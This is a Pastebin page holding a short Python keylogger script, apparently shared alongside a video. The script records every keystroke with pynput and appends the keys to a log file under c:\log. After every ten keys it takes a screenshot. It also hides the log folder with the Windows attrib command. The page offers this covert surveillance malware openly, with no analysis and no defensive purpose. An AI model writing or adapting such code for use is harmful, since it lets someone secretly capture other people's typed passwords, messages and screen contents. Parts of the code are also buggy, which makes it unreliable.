Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import mss
- import os
- import subprocess
- from pynput.keyboard import Listener
- import datetime
- main_log_dir = "c:\\log"
- key_log_dir = "c:\\log\\key_log"
- screen_shot_dir = "c:\\log\\screen_shot"
- keys = []
- def screen_capture():
- capture = mss.mss()
- capture.shot(output=f"{screen_shot_dir}\\{str(datetime.datetime.now()).replace(':', '')}.png")
- def _on_press(key_strokes):
- global keys
- key_strokes = str(key_strokes).replace("'", "")
- keys.append(key_strokes)
- if len(keys) >= 10:
- send_file(keys)
- screen_capture()
- keys = []
- def send_file(key_strokes):
- log_loop = [main_log_dir, key_log_dir, screen_shot_dir]
- for directory in log_loop:
- if not os.path.exists(directory):
- os.mkdir(directory)
- subprocess.call(f"attrib +h {main_log_dir}", shell=True)
- for key in key_strokes:
- with open(f"{key_log_dir}\\log.txt", "a") as file:
- if key.find("space") > 0:
- file.write(" ")
- elif key.find("Key"):
- file.write(key)
- with Listener(on_press=_on_press) as listener:
- listener.join()
- Hello world thanks for checking out this video
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement